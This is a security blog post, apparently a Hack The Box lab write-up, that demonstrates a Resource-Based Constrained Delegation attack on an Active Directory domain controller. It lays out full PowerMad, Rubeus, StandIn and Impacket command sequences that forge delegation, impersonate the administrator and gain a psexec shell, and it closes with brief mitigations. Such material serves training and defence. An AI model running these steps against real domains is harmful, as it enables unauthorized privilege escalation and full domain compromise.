ACTIVE DIRECTORY — PRIVILEGE ESCALATION

How to Abuse Resource-Based Constrained Delegation to Gain Unauthorized Access

Nairuz Abulhul

Published in

R3d Buck3T

11 min readMay 17, 2023

Learn how to exploit this security risk to gain unauthorized access to resources on the Active Directory domain.

Resource-based constrained delegation is a security feature in Active Directory that allows one service or system to delegate its authentication authority to another service or system, granting it limited access to specific resources on behalf of a user.

This is done by setting the value of themsDS-AllowedToActOnBehalfOfOtherIdentity attribute to a list of services or systems that can act on behalf of the object and access the specified resources.

To understand it better, let’s take this example; suppose we have a file share accessible to all users in the domain, and we want to configure that file share so that only the file service account can impersonate any user against the file share.

To do so, we would add the file service account to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the file share object that would allow the file service account to impersonate any user who attempts to access that file share, and it would prevent any other user from impersonating any other user.

To abuse this type of delegation, an attacker must compromise an account with write access over a computer object to configure the RBCD attribute allowing that compromised account to impersonate any user when accessing the targeted computer. This attack is usually performed to gain elevated privileges on the targeted computer.

In this blog post, we will delve into the resource-constrained delegation (RBCD) attack and discuss the steps involved in exploiting it to gain elevated privileges on a domain controller machine. To provide practical insights, I’ll demonstrate the attack steps on the Support machine from Hack The Box.

Attack Analysis
Tools
Attack Demo
– PowerMad (Windows)
– StandIn (Windows)
– RBCD Script (Linux)
Mitigation
Resources

Attack Analysis 🔎

The steps below summarize the RBCD attack to understand the attack flow:

The attacker gains access to a domain user account and can add computers to the domain. Usually, by default, domain users are part of the Authenticated Users group that allows users to add up to 10 computers to the domain. (However, remember that it is not always the case; sometimes administrators will set the ms-ds-machineaccountquota attribute to 0 to prevent these attacks.)
The compromised user or a group that the user is a member of must have the Write privileges over the targeted computer the attacker wants to get. The write permissions are GenericAll, GenericWrite, and WriteDACL.
The attacker modifies the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the targeted computer with specify a service account they control.
The attacker requests a service ticket impersonating a high privileged user, such as a domain admin, to access the target computer.
The attacker uses the issued ticket to access the target computer.

Tools ⚒️

Attack Demo 🔥

To perform the RBCD attack, an attacker typically needs to gain access to a computer account configured for RBCD. In this scenario, I’ve already obtained a foothold on the machine as a low-privileged user — “support”. I also utilized Bloodhound to identify potential paths for privilege escalation.

Upon analyzing the privileges and group memberships of the support user, I discovered that they are part of a group called Shared Support, which possesses delegation rights. Specifically, this group has GenericAll permission over the domain controller computer object, enabling us to manipulate the trust relationships.

shows the delegation rights that BloodHound has identified for the support user. Resource-base Constrained Delegation, RCBD, R3dbuck3t — Figure 1 — shows the delegation rights that BloodHound has identified for the support user.

Numerous tools exist to perform this attack; I’ve chosen three common ones that would allow us to perform it from Windows and Linux environments.

Method 1: PowerMad.ps1 (Windows)

We download PowerMad and PowerView (dev version) scripts from GitHub, upload them to the compromised machine through Evil-WinRM or any other tools, then import them using the PowerShell Import-module command to allow us to use them.

##Upload Files through Evil-WinRM 
upload /path-to-the-file/PowerView.ps1

#Import PowerShell Modules
import-module .\Powermad.ps1
import-module .\PowerView.ps1

Figures 2 & 3 — show uploading Powermad and Powerview and importing modules locally.

Next, we check the value of the ms-ds-machineaccountquota attribute with the PowerView Get-ADDomain command to see if our domain user can add machines to the domain.

#PowerView(dev)
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

Figure 4 — shows the number of machines a user can add to the domain., Resource-Based Constrained Delegation, RBCD, r3dbuck3t — Figure 4 — shows the number of machines a user can add to the domain.

Also, we check the msds-allowedtoactonbehalfofotheridentity attribute with the Get-DomainComputer command to see how many services are listed on the computer.

In our case, the list is empty, but generally, we can add a new value to the attribute even if the value is not empty.

#PowerView(dev)
Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity

Figure 5 — shows the msds-allowedtoactonbehalfofotheridentity attribute is empty. Resource-Based Constrained Delegation, RBCD — Figure 5 — shows the msds-allowedtoactonbehalfofotheridentity `attribute is empty.`

Next, we create a new fake computer object with PowerMad, then verify that it is added correctly to the domain by running the Get-DomainComputer command.

#PowerMad 
New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'Password123456' -AsPlainText -Force) -Verbose

#PowerView (dev)
Get-DomainComputer FakeComputer

Figure 6 — shows adding a new machine to the domain with PowerMad. Resource-Based Constrained Delegation, RBCD, r3dbuck3t — Figure 6 — shows adding a new machine to the domain with PowerMad.

Figure 7 — shows the new computer is added to the domain. Resource-Based Constrained Delegation, RBCD, r3dbuck3t — Figure 7 — shows the new computer is added to the domain.

Then, we set the security descriptor for ourFakeComputer principal and add it to the msds-allowedtoactonbehalfofotheridentity attribute value of the DC computer object.

#Change the SID in this command with the SID from your created fake machine
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

#Replace the DC machien with any target machhine
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Figure 8 — shows how to set the security descriptor for the fake computer using its SID. Resource-Based Constrained Delegation, — Figure 8 — shows how to set the security descriptor for the fake computer using its SID.

Figure 9 — shows modifying the msds-allowedtoactonbehalfofotheridentity attribute to include the new fake computer SID.

Now, we assign the delegation privilege to add our FakeComputer to the DC machine trusted list and verify if everything works as excepted by running the Get-DomainComputer command in PowerView and filtering for the delegation attribute.

#PoweView(dev)

#Replace the DC machine with any target machine
Get-DomainComputer DC -Properties ‘msds-allowedtoactonbehalfofotheridentity’

Figure 10 — shows we’ve successfully populated the msds-allowedtoactonbehalfofotheridentity attribute with our computer account.

Next, we use Rubeus to generate an RC4 hash of the password we set for the FakeComputer, then use the hash to request a service ticket using the S4U Kerberos extension. This step will allow us to request a service ticket for any user on the domain, which we will utilize to request a user with an elevated privilege, such as a domain admin.

Note: Upload Rubeus to the compromised machine.

#Generat RC4 hash for the FakeComputer account with the same password 
#the object was created with

.\Rubeus.exe hash /password:Password123456 /user:FakeComputer$ /domain:support.htb

#Requesting service ticket to impersonate the administator
.\Rubeus.exe s4u /user:FakeComputer$ /rc4:FFCE0C45C18CFDBB3EC16289A9D704DA /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt

We must use the same password we used when creating the computer object with PowerMad. Also, we need to include the dollar sign ($)with the computer name to indicate creating a hash for a machine account.

Figure 11 — shows generating an RC4 hash for the fake computer object. Resource-Based Constrained Delegation, r3dbuck3t — Figure 11 — shows the generation of an RC4 hash for the fake computer object.

The ($) that comes after the computer name in Active Directory is a placeholder for the computer’s NetBIOS name. The NetBIOS name is a 16-character name used by computers to identify each other on a network. The NetBIOS name is not required for a computer to join an Active Directory domain. However, a computer with a NetBIOS name will be appended with a $ sign when displayed in Active Directory.

So, when requesting an S4U ticket with Rubeus, specify your computer name with the $ sign. Failing to include the $ sign, Rubeus won’t find the computer object in Active Directory domain, and the request will fail.

Figure 12 — shows the request for an S4U ticket as the FakeComputer user impersonating the administrator.

At this point, we should be able to view our ticket by running the command klist, as seen below. Theoretically, this ticket should give us access to the DC machine (dc.support.htb) as an administrator. However, attempting to list the C$ directory on the DC failed as the request was denied.

Figure 13 — shows the administrator ticket for the DC machine. Resource-Based Constrained Delegation, r3dbuck3t — Figure 13 — shows the administrator ticket for the DC machine.

Figure 14 — shows attempting to list the C$ directory on the DC computer failed due to an access denied error.

So instead, we copy the Base64 generated ticket locally, remove the whitespace from the value with this online tool, and create a new file called a ticket. kirbi.bs64

Note 📌 We can also remove the space by including /nowrap parameter in the Rubeus command.

#Requesting service ticket to impersonate the administator
.\Rubeus.exe s4u /user:FakeComputer$ /rc4:FFCE0C45C18CFDBB3EC16289A9D704DA /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt /nowrap

Figures 15 & 16 show — copying the base64 ticket and removing the spaces.

Next, we create a new file called a “ticket.kirbi” with the Base64 decoded value of the previous ticket.

base64 -d ticket.kirbi.bs64 > ticket.kirbi

Then, we convert this ticket with TicketConverter.py script from a kirbi format, a binary format, to ccache, a text-based format, to enable us to store the Kerberos ticket locally and use it later.

#Convert the kirbi ticket to 
#TicketConvert.py - Impacket Tool

python3-impacket/examples/ticketConverter.py ticket.kirbi ticket.ccache

Figure 17 — shows converting the Kerberos kirbi ticket to the Kerberos ccache ticket.

Now, we use our converted ticket to access the DC machine by setting the KRB5CCNAME environment variable to our stored ticket (ticket.ccache) and using the psexec script from Impacket tools to grant us a remote code execution.

KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass

Figure 18 — shows getting access to the DC machine using the service ticket we request as domain admin. Resource-Based Constrained Delegation, r3dbuck3t — Figure 18 — shows getting access to the DC machine using the service ticket we request as domain admin.

Note 📌 If you’re getting errors when attempting to use the ticket like the one below, two (2) common possibilities might contribute to this type of error:

[-] CCache file is not found. Skipping...
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

The ticket is expired, and you need to issue a new one.
Or, the clock is skewed on your machine, and you need to sync your time with the domain controller server. Kerberos is specific on timing.

If the problem is the second one, you can run the below command, and it will get the time synced.

#The IP address is for the domain-controller machine
sudo ntpdate 10.10.11.174

Method 2: StandIn (Windows)

For the StandIn method, we upload the StandIn.exe program to the compromised machine, then we run the program with the parameter make to create a new computer object with a generated password.

 .\StandIn.exe --computer FakeComputer02 --make

Figure 19 — shows creating a new computer object with StandIn.exe. Resource-Based Constrained Delegation, r3dbuck3t — Figure 19 — shows creating a new computer object with StandIn.exe

To check if the machine was created, we run the PowerView command Get-ADComputer. As seen below, the second computer objectFakeComputer02 was created.

Get-ADComputer -Filter * | Select-Object Name, SID

Figure 20 — shows Get-ADComputer, which returns all domain computers with SID numbers.Resource-Based Constrained Delegation, r3dbuck3t — Figure 20 — shows Get-ADComputer, which returns all domain computers with SID numbers.

Next, we modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to add our second machine FakeComputer02, by specifying its SID number.

#Change the SID number TargetComputer
.\StandIn.exe --computer DC --sid S-1-5-21-1677581083-3380853377-188903654-5102

Figure 21 — shows adding a new value to the msds-allowedtoactonbehalfofotheridentity attribute using the StandIn program.

If you’re adding a new value to an already populated msds-allowedtoactonbehalfofotheridentity attribute with PowerView or StandIn, you might get this error “This host already has a msDS-AllowedToActOnBehalfOfOtherIdentity property.”

Figure 22- shows the error we get when adding a new value to an already populated msds-allowedtoactonbehalfofotheridentity attribute. — Figure 22- shows the error we get when adding a new value to an already populated `msds-allowedtoactonbehalfofotheridentity` attribute.

You’ll need to use PowerShell Active Directory to add new values to an already populated “msds-allowedtoactonbehalfofotheridentity” attribute.

To add the additional values, upload the AD module to the compromised machine and import it, then add the computers or accounts that you want the DC to trust. Again, it is important to remember to include the $ when specifying computer accounts.

#Import AD Module
# Set multiple values in the list
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount FakeComputer02$, FakeComputer$

To verify that the values were populated correctly, run the Get-ADComputer command, and it will show all of the values in the PrincipalsAllowedToDelegateToAccount, which is equal to the “msds-allowedtoactonbehalfofotheridentity” attribute.

#Import AD Module
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount

Figure 23 — shows the PrincipalsAllowedToDelegateToAccount attribute populated with our values.

After adding the desired values to the msds-allowedtoactonbehalfofotheridentityattribute, you can use Rubeus to generate the RC4 hash for the password and request a service ticket as a domain admin following the steps above in Method 1.

Method #3 RBCD Script

In this method, we will use Impacket tools to achieve the same outcome in the previous two methods: adding a new fake computer object to the domain ad and requesting a service ticket to impersonate a domain admin.

To add a new computer to the domain, we use the addcomputer.py script, specifying the computer name we want and a password to create the object, along with our user domain credentials to authenticate to the domain.

python3 addcomputer.py -computer-name 'ComputerFake04$' -computer-pass 'f5q1RE3DaP34e3T' -dc-ip 10.10.11.174  'support.htb/support:Ironside47pleasure40Watchful'

Figure 24 — shows creating a new computer, “ComputerFake04,” successfully and adding to the domain.

Then, we use the RBCD python script to add our new computer to the msds-allowedtoactonbehalfofotheridentity attribute list.

python3 rbcd.py 10.10.11.174 -u support.htb\\support -p 'Ironside47pleasure40Watchful' -t DC -f ComputerFake04

Figure 25- shows adding our new fake computer to the DC trusted list. Resource-Based Constrained Delegation, r3dbuck3t — Figure 25- shows adding our new fake computer to the DC trusted list.

Now, we have what it needs to request a service ticket; we will use the getST.py script from impacket instead of Rubeus to request the service ticket as administrator.

python3 getST.py -spn cifs/dc.support.htb -impersonate administrator -dc-ip 10.10.11.174 'support.htb/ComputerFake04:f5q1RE3DaP34e3T'

When the ticket is issued, we can use it by setting the KRB5CCNAME environment variable to our new ticket and running the psexec script to authenticate to the machine as an administrator, as seen below.

KRB5CCNAME=administrator.ccache python3 ~/Documents/support/psexec.py support.htb/administrator@dc.support.htb -k -no-pass

Mitigation 👮

Several mitigations can be implemented to protect against resource-based constrained delegation (RBCD) attacks. These include:

Use strong passwords for service accounts. Service accounts used to access resources configured for RBCD should have strong passwords that are not easily guessed.
Use the Protected Users group. The Protected Users group is a special group that contains accounts that should not be delegated. Adding accounts to the Protected Users group will prevent them from being used for RBCD.
Monitor for suspicious activity. Network traffic and security logs should be monitored for suspicious activity that could indicate an RBCD attack. This includes monitoring for requests for service tickets from unexpected sources.

In this blog post, we have discussed the Resource-Based Constrained Delegation (RBAC) attack and explored the underlying concepts, attack vectors, and mitigation strategies for protecting against such attacks.

We understood how an attacker could leverage the misconfigurations in the resource-based constrained delegation feature to gain unauthorized access and escalate privileges within a network.

That’s all for today; thanks for reading !!